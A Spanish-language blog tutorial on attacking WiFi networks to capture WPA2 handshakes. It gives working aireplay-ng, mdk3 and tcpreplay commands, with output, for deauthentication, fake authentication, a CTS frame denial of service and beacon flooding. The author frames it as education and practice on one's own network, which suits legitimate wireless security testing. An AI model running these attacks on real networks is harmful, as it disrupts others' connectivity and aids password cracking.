Hacking WiFi - Ataques para Obtener Handshake

May 11, 2023

Lo que haremos en esta ocasión, será utilizar distintos ataques hacia una red WiFi/AP o un dispositivo en específico, para que se desconecte de la red y con esto, podamos obtener un handshake que nos servirá para tratar de crackear la contraseña Wi-Fi de un objetivo.

Herramientas utilizadas:

Tarjeta de red
tshark
wireshark
aireplay-ng
ghex
mkd3
python

DISCLAIMER:

La información proporcionada en este blog, es solo con fines educativos e informativos. No me hago responsable de cómo se use o interprete la información aquí proporcionada. Es importante que se utilice esta información de manera responsable y ética. Cualquier daño o consecuencia causada por el mal uso de la información aquí proporcionada, es responsabilidad exclusiva del lector.

Índice

Ataques Variados a Realizar
Ataque de Desautenticación Dirigido
Ataque de Desautenticación Global

Usando la Broadcast MAC Address para Ataque de Desautenticación Global
Usando Ataque de Desautenticación Global Sin Especificar Cliente

Ataque de Falsa Autenticación
CTS Frame Attack - Secuestro del Ancho de Banda de una Red

Analizando Archivo .pcap con Tshark y Obteniendo la Duración de Tramas de Datos
Analizando Archivo .pcap con Wireshark, Obteniendo la Duración de Tramas de Datos y Analizando el Archivo con GHex
Capturando Entorno con Wireshark y Analizando Archivo .pcap con GHex
Modificando .pcap con GHex y Aplicando Ataque

Ataque Beacon Flood Mode
Ataque Disassociation Amok Mode
Links de Investigación

Ataques Variados a Realizar

Vamos a realizar varios ataques con el objetivo de obtener un Handshake (aunque hay uno que incluí que no nos servira del todo para obtener el Handshake), estos ataques son:

Ataque de Desautenticación Dirigido
Ataque de Desautenticación Global
Ataque de Falsa Autenticación
CTS Frame Attack
Ataque Beacon Flood Mode
Ataque Disassociation Amok Mode

IMPORTANTE

Recuerda que antes de empezar, debes poner el modo monitor y de preferencia falsifica la MAC. Esta información la tienes en mi blog.

Hacking WiFi - Modo Monitor y Falsificación de MAC de una Tarjeta de Red

IMPORTANTÍSIMO

Es muy importante que, si quieres practicar esto, lo hagas desde tu propio internet, puedes utilizar tu red y un dispositivo como tu celular para crear un AP y con eso practicar la captura de data y así puedas obtener un handshake.

Ataque de Desautenticación Dirigido

¿De que va este ataque?

Ataque de Desautenticación Dirigido
Un “ataque de desautenticación dirigido” o también conocido como “ataque de desautenticación WiFi”, es una denegación de servicio a nivel red. Consiste en inundar de solicitudes al punto de acceso o estación para saturar el ancho de banda, con el objetivo de desconectar a todos los clientes de la red por un tiempo definido.

Las tramas de desautenticación se realizan normalmente para determinar una conexión entre un cliente y un punto de acceso (AP) sin necesidad de ir cifrado. Por lo tanto, cualquier persona dentro de la red local (LAN) puede falsificar la dirección MAC de la víctima o AP.

La idea, es que una vez que desconectemos a todos los dispositivos de la red, provocaremos que cualquier dispositivo se vuelva a conectar a la misma red con lo que obtendriamos el Handshake.

Te comparto un link con más información sobre este ataque:

Repositorio de R3LI4NT: Ataque de Desautenticación Wi-Fi

Hagamos una prueba:

Realiza un monitoreo y captura de data hacia un AP, teniendo conectado tu celular o algún dispositivo que quieras, pero recomiendo el celular.
No debería de obtener un Handshake hasta que realicemos el ataque, pero si lo hizo no te preocupes, el chiste es que entiendas como funciona esto.
Si tienes problemas para identificar tu celular o dispositivo conectado al AP, navega por internet y los frames de dicho dispositivo, aumentarán bastante.

Si ya realizaste el monitoreo, debería verse así:

CH 11 ][ Elapsed: 7 mins ][ 2023-05-11 14:19                                                       
                                                                                                                                       
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                   
                                                                                                                                       
MAC:Wi:Fi:Sa:lon:XD -54 100     3387      550    2  11  130   WPA2 CCMP   PSK  Wifi_Salon                                          
                                                                                                                                       
 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                                                     
                                                                                                                                       
 (not associated)   **:**:**:**:**:**  -32    0 - 1      0        2         Wifi_Vecino                                                           
 (not associated)   **:**:**:**:**:**  -32    0 - 1      0        2         Wifi_Vecino2                                                           
MAC:Wi:Fi:Sa:lon:XD MAC:DE:MI:CEL:XD   -88    0 - 1      0       25

Bien, yo ya tengo identificado mi celular, vamos a copiar la MAC y usaremos la herramienta Aireplay-ng para realizar el ataque de desautenticación dirigido.

Para ver los ataques que puede hacer esta herramienta, simplemente usa el parámetro -h:

aireplay-ng --help

  Aireplay-ng 1.7  - (C) 2006-2022 Thomas d'Otreppe
  https://www.aircrack-ng.org

  usage: aireplay-ng <options> <replay interface>

  Filter options:

      -b bssid  : MAC address, Access Point
      -d dmac   : MAC address, Destination
      -s smac   : MAC address, Source
...
...
...
Attack modes (numbers can still be used):

      --deauth      count : deauthenticate 1 or all stations (-0)
      --fakeauth    delay : fake authentication with AP (-1)
      --interactive       : interactive frame selection (-2)
      --arpreplay         : standard ARP-request replay (-3)
      --chopchop          : decrypt/chopchop WEP packet (-4)
      --fragment          : generates valid keystream   (-5)
      --caffe-latte       : query a client for new IVs  (-6)
      --cfrag             : fragments against a client  (-7)
      --migmode           : attacks WPA migration mode  (-8)
      --test              : tests injection and quality (-9)

      --help              : Displays this usage screen

Al final se ven los distintos ataques, nosotros vamos a usar él -0.

Además, le indicaremos la cantidad de paquetes a mandar de desautenticación (se recomienda entre 10 y 15 paquetes), el essid del AP, la MAC de mi dispositivo (en tu caso pues el tuyo) e indicamos nuestra tarjeta de red:

aireplay-ng -0 10 -e Wifi_Salon -c MAC:DE:MI:CEL:XD  wlan0

Antes de iniciar el ataque, observa la conexión de tu dispositivo, pues debería de desconectarse una vez iniciado el ataque.

Inicia el ataque:

aireplay-ng -0 10 -e Wifi_Salon -c MAC:DE:MI:CEL:XD  wlan0
18:46  Waiting for beacon frame (ESSID: Wifi_Salon) on channel 11
Found BSSID "MAC:Wi:Fi:Sa:lon:XD" to given ESSID "Wifi_Salon".
18:47  Sending 64 directed DeAuth (code 7). STMAC: [MAC:DE:MI:CEL:XD] [36|59 ACKs]
18:48  Sending 64 directed DeAuth (code 7). STMAC: [MAC:DE:MI:CEL:XD] [31|60 ACKs]
18:48  Sending 64 directed DeAuth (code 7). STMAC: [MAC:DE:MI:CEL:XD] [76|80 ACKs]
18:49  Sending 64 directed DeAuth (code 7). STMAC: [MAC:DE:MI:CEL:XD] [72|70 ACKs]
18:49  Sending 64 directed DeAuth (code 7). STMAC: [MAC:DE:MI:CEL:XD] [21|47 ACKs]
18:50  Sending 64 directed DeAuth (code 7). STMAC: [MAC:DE:MI:CEL:XD] [57|73 ACKs]
18:51  Sending 64 directed DeAuth (code 7). STMAC: [MAC:DE:MI:CEL:XD] [ 0|43 ACKs]
18:51  Sending 64 directed DeAuth (code 7). STMAC: [MAC:DE:MI:CEL:XD] [ 0|49 ACKs]
18:52  Sending 64 directed DeAuth (code 7). STMAC: [MAC:DE:MI:CEL:XD] [ 0|39 ACKs]
18:53  Sending 64 directed DeAuth (code 7). STMAC: [MAC:DE:MI:CEL:XD] [ 0|48 ACKs]

Si observaste tu dispositivo, se debío desconectar y si observas el monitoreo, ya debería de haber obtenido un Handshake:

CH 11 ][ Elapsed: 7 mins ][ 2023-05-11 14:19 ][ WPA handshake: **:**:**:**:**:**                                                       
                                                                                                                                       
 BSSID               PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                   
                                                                                                                                       
 MAC:Wi:Fi:Sa:lon:XD   -54 100     3387      550    2  11  130   WPA2 CCMP   PSK  Wifi_Salon                                          
                                                                                                                                       
 BSSID               STATION            PWR   Rate    Lost    Frames  Notes  Probes                                                     
                                                                                                                                       
 (not associated)    **:**:**:**:**:**  -32    0 - 1      0        2         Wifi_Vecino                                               >
 (not associated)    **:**:**:**:**:**  -32    0 - 1      0        2         Wifi_Vecino2                                              >
 MAC:Wi:Fi:Sa:lon:XD MAC:DE:MI:CEL:XD   -88    0 - 1      0       98

¡Muy bien! Hemos realizado exitosamente el ataque de desautenticación dirigido y obtuvimos un Handshake. Vamos a hacer otro ataque.

Ataque de Desautenticación Global

¿De que va este ataque?

Ataque de Desautenticación Global
El ataque de desautenticación global es una variación del ataque de desautenticación en redes Wi-Fi, donde el atacante envía paquetes de desautenticación a todos los dispositivos conectados a un punto de acceso (AP) en lugar de dirigirse a un solo cliente.

Para hacer esto, existen 2 formas distintas y vamos a aplicar ambas.

Usando la Broadcast MAC Address para Ataque de Desautenticación Global

Para esta forma, cambiaremos el cliente por el parámetro -c y le pondremos lo que es la Broadcast MAC address.

Broadcast MAC address
La dirección MAC de broadcast tiene un valor específico en cada formato (48 bits o 64 bits) y se utiliza para enviar tramas a todos los dispositivos en una red local. En el formato de 48 bits, la dirección de broadcast es “FF:FF:FF:FF:FF:FF”, mientras que en el formato de 64 bits, es “FF:FF:FF:FF:FF:FF:FF:FF”. Cuando un dispositivo envía una trama a la dirección de broadcast, todas las interfaces de red dentro de la red local la recibirán.

Broadcast MAC address

La dirección MAC de broadcast tiene un valor específico en cada formato (48 bits o 64 bits) y se utiliza para enviar tramas a todos los dispositivos en una red local. En el formato de 48 bits, la dirección de broadcast es “FF:FF:FF:FF:FF:FF”, mientras que en el formato de 64 bits, es “FF:FF:FF:FF:FF:FF:FF:FF”. Cuando un dispositivo envía una trama a la dirección de broadcast, todas las interfaces de red dentro de la red local la recibirán.

Para este caso, vamos a usar la Broadcast MAC de 48 bits.

Antes de empezar el ataque, conecta 2 dispositivos a una misma red para que veas que se desconectaran cuando inicies el ataque.

Ahora si, inicia el ataque:

aireplay-ng -0 10 -e Wifi_Salon -c FF:FF:FF:FF:FF:FF  wlan0
04:40  Waiting for beacon frame (ESSID: Wifi_Salon) on channel 11
Found BSSID "MAC:Wi:Fi:Sa:lon:XD" to given ESSID "Wifi_Salon".
04:41  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 0| 0 ACKs]
04:41  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [14| 0 ACKs]
04:42  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 5| 0 ACKs]
04:43  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 5| 0 ACKs]
04:44  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 1| 0 ACKs]
04:44  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 0| 0 ACKs]
04:45  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 0| 0 ACKs]
04:46  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 0| 0 ACKs]
04:46  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 0| 0 ACKs]
04:47  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 0| 0 ACKs]

Observa que se realiza el ataque y si tenías dos o más dispositivos conectados, se habrán desconectado temporalmente.

Usando Ataque de Desautenticación Global Sin Especificar Cliente

Para esta forma, solamente vamos a eliminar el parámetro -c y la herramienta, automáticamente, realizará el ataque:

aireplay-ng -0 10 -e Wifi_Salon wlan0   
06:43  Waiting for beacon frame (ESSID: Wifi_Salon) on channel 11
Found BSSID "MAC:Wi:Fi:Sa:lon:XD" to given ESSID "Wifi_Salon".
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
06:43  Sending DeAuth (code 7) to broadcast -- BSSID: [MAC:Wi:Fi:Sa:lon:XD]
06:43  Sending DeAuth (code 7) to broadcast -- BSSID: [MAC:Wi:Fi:Sa:lon:XD]
06:44  Sending DeAuth (code 7) to broadcast -- BSSID: [MAC:Wi:Fi:Sa:lon:XD]
06:44  Sending DeAuth (code 7) to broadcast -- BSSID: [MAC:Wi:Fi:Sa:lon:XD]
06:45  Sending DeAuth (code 7) to broadcast -- BSSID: [MAC:Wi:Fi:Sa:lon:XD]
06:45  Sending DeAuth (code 7) to broadcast -- BSSID: [MAC:Wi:Fi:Sa:lon:XD]
06:46  Sending DeAuth (code 7) to broadcast -- BSSID: [MAC:Wi:Fi:Sa:lon:XD]
06:46  Sending DeAuth (code 7) to broadcast -- BSSID: [MAC:Wi:Fi:Sa:lon:XD]
06:47  Sending DeAuth (code 7) to broadcast -- BSSID: [MAC:Wi:Fi:Sa:lon:XD]
06:47  Sending DeAuth (code 7) to broadcast -- BSSID: [MAC:Wi:Fi:Sa:lon:XD]

Observa que también desconecta los dispositivos, pero yo recomiendo la primer forma, porque nos muestra si los paquetes funcionaron o no.

Ataque de Falsa Autenticación

¿De que va este ataque?

Ataque de Falsa Autenticación
El ataque de falsa autenticación, permite realizar los dos tipos de autenticación WEP (abierta u “Open System” y compartida o “Shared Key”) y asociarse con el punto de acceso (AP). Esto es muy útil cuando necesitamos una dirección MAC asociada para usarla con alguno de los ataques de aireplay-ng y no hay ningún cliente asociado.

Se debe tener en cuenta que el ataque de falsa autenticación NO genera ningún paquete ARP.

De momento, este ataque no nos sirve para la obtención del Handshake, pero lo podremos ocupar después para redes web así que no esta demás incluirlo.

Realiza un monitoreo, solo indica el essid para que el monitoreo no se expanda tanto, no es necesario que conectes un dispositivo.

airodump-ng --essid Wifi_Salon wlan0
CH 10 ][ Elapsed: 2 mins ][ 2023-05-11 15:55                                                                                                                                                                                                                                 
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                                                              
MAC:Wi:Fi:Sa:lon:XD -58      260       43    0  11  130   WPA2 CCMP   PSK  Wifi_Salon                                                                                                                                                                                     
 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes
(not associated)   **:**:**:**:**:**  -94    0 - 1      0        1                 

Ahora, veamos cuál es el ataque que vamos a usar:

...
Attack modes (numbers can still be used):

      --deauth      count : deauthenticate 1 or all stations (-0)
      --fakeauth    delay : fake authentication with AP (-1)
      --interactive       : interactive frame selection (-2)
      --arpreplay         : standard ARP-request replay (-3)
      --chopchop          : decrypt/chopchop WEP packet (-4)
      --fragment          : generates valid keystream   (-5)
      --caffe-latte       : query a client for new IVs  (-6)
      --cfrag             : fragments against a client  (-7)
      --migmode           : attacks WPA migration mode  (-8)
      --test              : tests injection and quality (-9)

      --help              : Displays this usage screen

Usaremos él -1 que es el ataque de falsa autenticación.

Una vez que elegimos el ataque, vamos a escribir 0 para que siga mandando paquetes de falsa autenticación y se mantenga en linea, indicamos el essid que vamos a atacar e indicamos su MAC. Por último, crearemos una MAC falsa con la herramienta macchanger para que esa sea la MAC con la que se identifique la nueva red falsa.

Primero busquemos una MAC:

macchanger -l | grep "NSA"                                    
- 00:00:cc - DENSAN CO., LTD.
- 00:18:be - ANSA Corporation
- 00:60:87 - KANSAI ELECTRIC CO., LTD.
- 00:c0:34 - TRANSACTION NETWORK

Usemos la de KANSAI y preparemos el comando:

aireplay-ng -1 0 -e Wifi_Salon -a MAC:Wi:Fi:Sa:lon:XD -h 00:60:87:fe:32:d3 wlan0

Así debería quedar, pero OJO cuando uses el comando, puede que salga este error:

15:56:13  Waiting for beacon frame (BSSID: 34:53:D2:7B:5D:28) on channel 2
15:56:14  wlan0 is on channel 2, but the AP uses channel 11

Simplemente, sigue usando el comando hasta que te dé un resultado exitoso. Yo lo tuve que usar 3 veces.

Bien, veamos si fue el ataque exitoso:

aireplay-ng -1 0 -e Wifi_Salon -a MAC:Wi:Fi:Sa:lon:XD -h 00:60:87:fe:32:d3 wlan0
The interface MAC (**:**:**:**:**:**) doesn't match the specified MAC (-h).
        ifconfig wlan0 hw ether 00:60:87:FE:32:D3
15:57:31  Waiting for beacon frame (BSSID: MAC:Wi:Fi:Sa:lon:XD) on channel 11
15:57:31  Sending Authentication Request (Open System) [ACK]
15:57:31  Authentication successful
15:57:31  Sending Association Request [ACK]
15:57:31  Association successful :-) (AID: 1)

Vamos al monitoreo:

CH 10 ][ Elapsed: 2 mins ][ 2023-05-11 15:57                                                                                                                                                                                                                                 
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                                                              
MAC:Wi:Fi:Sa:lon:XD -58      260       43    0  11  130   WPA2 CCMP   PSK  Wifi_Salon                                                                                                                                                                                     
 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                                                                                                                                                                                            
 (not associated)   **:**:**:**:**:**  -94    0 - 1      0        1                                                                    
 (not associated)   **:**:**:**:**:**  -94    0 - 1      0        1
MAC:Wi:Fi:Sa:lon:XD 00:60:87:FE:32:D3  -54    0 - 1      0        2

Excelente, ahí puedes ver la MAC que usamos en el comando, esto nos indica que logramos hacer una falsa autenticación.

Si ejecutas el comando otra vez, verás que los frames incrementan. Inténtalo, pero te recuerdo, ahorita esto no nos sirve de nada.

Te comparto este link con más información sobre este ataque:

Aircrack-ng: Autenticación falsa

CTS Frame Attack - Secuestro del Ancho de Banda de una Red

¿De que va este ataque?

CTS Frame Attack
CTS Frame Attack es un ataque destinado a la denegación de servicio (DoS) que puede dejar inoperativa una red inalámbrica durante un largo periodo de tiempo. Por la posibilidad de nodos ocultos en una red WLAN, el estándar IEEE 802.11 define unos marcos de control llamados Request To Send (RTS) y Clear To Send (CTS), con el fin de minimizar colisiones cuando se envíen marcos de control más largos. Nosotros vamos a modificar un archivo que tendrá el tope de duración de microsegundos (el cual es de 30k), mandaremos varios paquetes CTS con esa cantidad de duración, pues con esto haremos que la capacidad del AP este a tope y la velocidad baje o el internet se desconecte.

CTS Frame Attack

CTS Frame Attack es un ataque destinado a la denegación de servicio (DoS) que puede dejar inoperativa una red inalámbrica durante un largo periodo de tiempo. Por la posibilidad de nodos ocultos en una red WLAN, el estándar IEEE 802.11 define unos marcos de control llamados Request To Send (RTS) y Clear To Send (CTS), con el fin de minimizar colisiones cuando se envíen marcos de control más largos. Nosotros vamos a modificar un archivo que tendrá el tope de duración de microsegundos (el cual es de 30k), mandaremos varios paquetes CTS con esa cantidad de duración, pues con esto haremos que la capacidad del AP este a tope y la velocidad baje o el internet se desconecte.

Vamos a poner un ejemplo, tenemos 3 computadoras, digámosles STA1, STA2 y STA3, que están conectadas a un mismo AP.

Ahora, supongamos que STA1 y STA3 no saben en qué momento están transmitiendo paquetes o trazas con una duración mayor, ninguno lo sabe, por lo que puede ocurrir una colisión en la transmisión.

Entonces, para que esto no ocurra, STA1 manda un paquete RTS que abre un canal por un periodo de tiempo determinado para poder evitar una colisión.

El AP va a responder con un paquete CTS diciéndole a STA1 “si papito, yo te reservo el canal pa’ que lo uses”, este mismo CTS va para todas las máquinas STA (STA2 y STA3) que estén conectados al mismo AP para avisarles que STA1 solamente puede transmitir en ese momento.

En el paquete CTS que mando el AP, se identifica al STA1 por su MAC y así las otras máquinas STA2 y STA3 identifican que es el STA1 el que tiene prioridad.

Si necesitas una explicación a fondo, en el siguiente link está lo que necesitas:

CTS DoS Mini-HOWTO

Vamos a analizar una captura de entorno (esta captura la debes realizar en la red que vas a probar este ataque), esto lo haremos con Tshark primero y luego con Wireshark.

La idea es encontrar la duración de un paquete que se transmite en microsegundos, haremos dos pruebas distintas para obtener este dato.

Analizando Archivo .pcap con Tshark y Obteniendo la Duración de Tramas de Datos

Opción 1: Con Tshark leemos la captura con el parámetro -r y escogiendo el archivo a leer, con el parámetro -Y aplicamos un filtro para que nos muestre solo los paquetes de datos (Data Frames) de la interfaz inalámbrica wlan0 que tienen el subtipo 0x28, y con el parámetro -T indicamos la forma en que nos mostrara el output, en este caso indicaremos json:

tshark -r Captura-01.cap -Y "wlan.fc.type_subtype==0x28" -Tjson 2>/dev/null
[
  {
    "_index": "packets-2023-05-11",
    "_type": "doc",
    "_score": null,
    "_source": {
      "layers": {
        "frame": {
...
...
...
...
...
 },
          "wlan.duration": "314",
          "wlan.ra": "MAC:Wi:Fi:Sa:lon:XD",
          "wlan.ra_resolved": "**:**:**:**:**:**",
          "wlan.addr": "MAC:Wi:Fi:Sa:lon:XD",
          "wlan.addr_resolved": "**:**:**:**:**:**",
          "wlan.ta": "**:**:**:**:**:**",
          "wlan.ta_resolved": "**:**:**:**:**:**",
          "wlan.addr": "**:**:**:**:**:**",
...
...

Ahí tenemos el dato de la duración en microsegundos: “wlan.duration”: “314”.

Opción 2: Lo mismo que el ejemplo de arriba, solo que en el parámetro -T indicaremos el campo con fields y con el parámetro -e indicamos el campo que buscamos, que en este caso es el wlan.duration. Con sort -u solamente ordenamos el resultado por los resultados unicos:

tshark -r Captura-01.cap -Y "wlan.fc.type_subtype==0x28" -Tfields -e wlan.duration 2>/dev/null | sort -u
314

Analizando Archivo .pcap con Wireshark, Obteniendo la Duración de Tramas de Datos y Analizando el Archivo con GHex

Ejecutemos Wireshark:

wireshark Captura-01.cap > /dev/null 2>&1 & disown

De esta forma abrimos Wireshark como un proceso aparte para poder seguir usando la terminal.

Una vez abierto, aplica el siguiente filtro:

wlan.fc.type_subtype==0x28

Escoge un paquete cualquiera y buscamos la duración del paquete:

Ya tenemos la duración, ahora lo que haremos será analizar este paquete con una herramienta llamada ghex.

Herramienta GHex
GHex es un editor hexadecimal para el escritorio GNOME. GHex puede cargar datos en bruto desde archivos binarios y mostrarlos para su edición en el visor hexadecimal tradicional. La vista de divide en dos columnas , una con los valores hexadecimales y otra con su representación ASCII.

Vamos a instalarla:

apt install ghex -y
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias... Hecho
Leyendo la información de estado... Hecho
...
...
...

Para analizar el paquete, tiene que ser en un formato hecho en Wireshark llamado .pcap, que a diferencia de como lo hacemos con Tshark, debemos de seguir ciertos pasos para guardar la captura correctamente.

Vamos a hacerlo:

Escoge un paquete random del filtro aplicado.
Ve a la sección Archivo y selecciona la opción Exportar paquetes especificados:

Ahora deja las opciones tal cual en la imagen y guarda este archivo en donde tengas las capturas de data:

Y ya debería estar el archivo ahí:

ls -la
total 29620
drwxr-xr-x 2 root root     4096 may 13 02:22 .
drwxr-xr-x 5 root root     4096 may 11 21:47 ..
-rw-r--r-- 1 root root  6870644 may 11 14:19 Captura-01.cap
-rw-r--r-- 1 root root    17653 may 11 14:19 Captura-01.csv
-rw-r--r-- 1 root root      598 may 11 14:19 Captura-01.kismet.csv
-rw-r--r-- 1 root root   370394 may 11 14:19 Captura-01.kismet.netxml
-rw-r--r-- 1 root root 23034876 may 11 14:19 Captura-01.log.csv
-rw-r--r-- 1 root root      170 may 13 02:22 ctsframe.pcap

Con la herramienta ghex, analicemos el archivo ctsframe.pcap:

ghex ctsframe.pcap > /dev/null 2>&1 & disown

Y deberías ver ya ghex abierto:

El paquete CTS son los 4 últimos pares, luego sigue la MAC que son 6 pares y luego los microsegundos que son dos pares.

Los microsegundos están en hexadecimal y en formato little endian.

Servicio SilverStripe
El formato little endian se utiliza en las máquinas basadas en Intel, por ejemplo, xSeries. El formato endian afecta solamente a los datos de varios bytes. En un único byte, los bits siempre se ordenan del mismo modo. El orden de los bits dentro de un byte es siempre 7, 6, 5, 4, 3, 2, 1, 0.

Ósea que, si ahí viene como 48 00 sería igual a 0x0048.

El problema es que estamos analizando un archivo de captura de entorno con Tshark, que desgraciadamente no es tan preciso, pues en el ejemplo que viene la imagen del ghex, la MAC ni los microsegundos coinciden, por lo que lo ideal es hacerlo desde Wireshark.

Capturando Entorno con Wireshark y Analizando Archivo .pcap con GHex

Primero capturemos el entorno de la red con Wireshark.

Abrámoslo:

wireshark > /dev/null 2>&1 &
disown

Ya dentro, elijamos nuestra tarjeta de red:

Observa que automáticamente se realiza el escaneo.

Aplica el siguiente filtro: wlan.fc.type_subtype==28.

Cuando apliques el filtro, ya deberías ver algunos paquetes, si los ves, detén el escaneo:

Observa que la duración es 184 microsegundos, recuerda eso.

Y vamos a hacer lo mismo que hicimos anteriormente, vamos a crear un archivo tipo .pcap con las mismas opciones de la siguiente imagen:

Guarda el archivo y si quieres, puedes cerrar Wireshark sin guardar nada.

Abre el archivo .pcap con ghex:

ghex ctsframe.pcap > /dev/null 2>&1 &
disown

Y en este caso, la MAC, si coincide y si checamos en Python los microsegundos (recuerda que los microsegundos, están colocados al revés), también coinciden:

python3
Python 3.11.2 (main, Feb 12 2023, 00:48:52) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x00B8
184

Modificando .pcap con GHex y Aplicando Ataque

Para realizar el ataque, debemos modificar esos microsegundos para mandar 30k microsegundos, para hacerlo lo modificamos desde ghex.

Ya después entendí que si la MAC no coincide con el AP, puedes cambiarla también para que coincida.

Primero obtengamos el hexadecimal de 30k:
```
hex(30000)
'0x7530'
```
Ahora, editamos el archivo .pcap que llamamos ctsframe en la parte de los pares de los microsegundos, tendríamos que ponerlos al revés, ósea primero el 30 y luego el 75, quedando así, 30 75:

Guardamos y salimos.

Para probar que el archivo ctsframe es correcto, ábrelo con Wireshark y verifica si no marca un error hasta abajo en la sección “IEEE 802.11 Clear-to-send…“, debería decir “Unverified”:

Como se observa en la imagen, ahí está la duración y no marca ningún error, ya con eso podemos lanzar el ataque.

Te recomiendo tener al menos 2 dispositivos conectados, para que veas que pasa.

Para lanzar el ataque usamos tcpreplay de la siguiente manera:

tcpreplay --intf1=wlan0 --topspeed --loop=2000 ctsframe.pcap 2>/dev/null

Parámetros	Descripción
–topspeed	Para que los paquetes vayan lo más rápido posible.
–loop	Para que emita 2000 paquetes del ctsframe.

Y ya deberían de ir lento o también debería de caerse el internet del AP.

Si usamos Wireshark con el filtro que hemos usado mientras lanzamos el ataque, podríamos monitorearlo.

En este link, encontrarás también como hacer el ataque paso a paso:

Repositorio de Fz3r0: WiFi 802.11 - CTS Frame Attack

Aquí te dejo un link con más información:

Wi-Fi DoS: CTS Frame Attack

Ataque Beacon Flood Mode

¿De que va este ataque?

Ataque Beacon Flood Mode
Este ataque se refiere a la confusión de conectividad de un cliente inalámbrico. Se transmiten innumerables tramas de balizas falsas. Después de un tiempo, las redes inalámbricas disponibles son tantas que el usuario está totalmente confundido y perdido en una gran lista de redes similares.

Paquetes Beacon
Los paquetes beacon son emitidos por el AP para que se identifique con otros dispositivos, con el fin de que se puedan conectar al AP. Los paquetes beacon, contienen información importante del AP como el canal, el cifrado, el BSSID, etc.

Lo que haremos será emitir paquetes beacon falsos, anunciando un mismo AP para que los dispositivos que se vayan a conectar, se confundan y se desconecten, pues se satura con tantos AP.

Osea que vamos a crear redes falsas para confundir el dispositivo del usuario para que pruebe varias.

Para hacer esto, usaremos la herramienta mdk3 (aunque actualmente, ya existe el mdk4).

Herrmaienta mdk4
Es una herramienta para pruebas de de Wi-Fi desarrollada por el propio proyecto de aircrack-ng. Mdk4 contiene distintos parámetros con subparámetros de ataques, entre ellos, desautenticación y otros más.

Si no la tienes, instálala:

apt install mdk3
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias... Hecho
Leyendo la información de estado... Hecho

Bien, si queremos crear varios AP de uno, vamos a crear un diccionario simple con Bash de la siguiente manera:

for i in $(seq 1 10); do echo "Wifi_Salon$i" >> redes.txt; done

cat redes.txt
Wifi_Salon1
Wifi_Salon2
Wifi_Salon3
Wifi_Salon4
Wifi_Salon5
Wifi_Salon6
Wifi_Salon7
Wifi_Salon8
Wifi_Salon9
Wifi_Salon10

Ya con este archivo, usemos la herramienta mdk3 para realizar el ataque, puedes ver sus parámetros con –help:

mdk3 wlan0 b -f redes.txt -a -s 1000 -c 11

Parámetros	Descripción
b	Para indicar el ataque Beacon.
-f	Para indicar un fichero a usar.
-a	Para mostrar la estación usando encriptación WPA - AES.
-s	Para indicar la velocidad de paquetes por segundo.
-c	Para indicar el canal por el que se va a transmitir el ataque.

Si revisas las conexiones de tu dispositivo, verás que hay varias conexiones, como en mi caso que hay varias que se llaman Wifi_Salon.

Aquí te dejo un link para realizar este ataque:

Beacon Flooding Attack

Ataque Disassociation Amok Mode

¿De que va este ataque?

Este ataque es lo mismo que el Ataque de Desautenticación Dirigido, lo que se diferencia, es que puedes indicarle un fichero Blacklist (Una lista de clientes conectados a un AP a los que queremos expulsar) o Whitelist (Lista de clientes a inyectar en un AP) usando la herramienta mdk3/mdk4.

Vamos a analizar el entorno de un canal y/o de una red en específico para encontrar una MAC que meteremos en el fichero:

airodump-ng -c 11 -w Captura --essid Wifi_Salon wlan0
02:18:38  Created capture file "Captura-01.cap".

 CH 11 ][ Elapsed: 6 s ][ 2023-05-14 02:18                                                                                             
                                                                                                                                       
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                   
                                                                                                                                       
MAC:Wi:Fi:Sa:lon:XD -58 100       73        7    0  11  130   WPA2 CCMP   PSK  Wifi_Salon                                          
                                                                                                                                       
 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                                                     
                                                                                                                                       
 (not associated)   **:**:**:**:**:**  -76    0 - 1      2        5                                                                    
 (not associated)   **:**:**:**:**:**  -94    0 - 1      0        1                                                                    
 (not associated)   **:**:**:**:**:**  -94    0 - 1      0        1                                                                    
MAC:Wi:Fi:Sa:lon:XD MAC:DE:MI:CEL:XD   -23    0 -24   3561       63

En mi caso, solamente tengo un dispositivo conectado a ese AP. Vamos a copiar la MAC de la estación y a pegarla en un fichero:

nano blacklist
MAC:DE:MI:CEL:XD

Después de guardar y salir, vamos a usar la herramienta mdk3 de la siguiente manera:

mdk3 wlan0 d -w blacklist -c 11

Periodically re-reading blacklist/whitelist every 3 seconds

Parámetros	Descripción
d	Para indicar el ataque Awok.
-w	Para usar un fichero.
-c	Para indicar el canal.

Si revisaste tu celular, verás que te desconectara de la red cada 3 segundos, de esta manera ya obtendremos un handshake.

Aquí tienes un link con más información:

How deauth attack works in mkd3

Links de Investigación

https://github.com/R3LI4NT/articulos/blob/main/Redes/GNU-Linux/desautenticacion.md
https://www.aircrack-ng.org/doku.php?id=es:fake_authentication
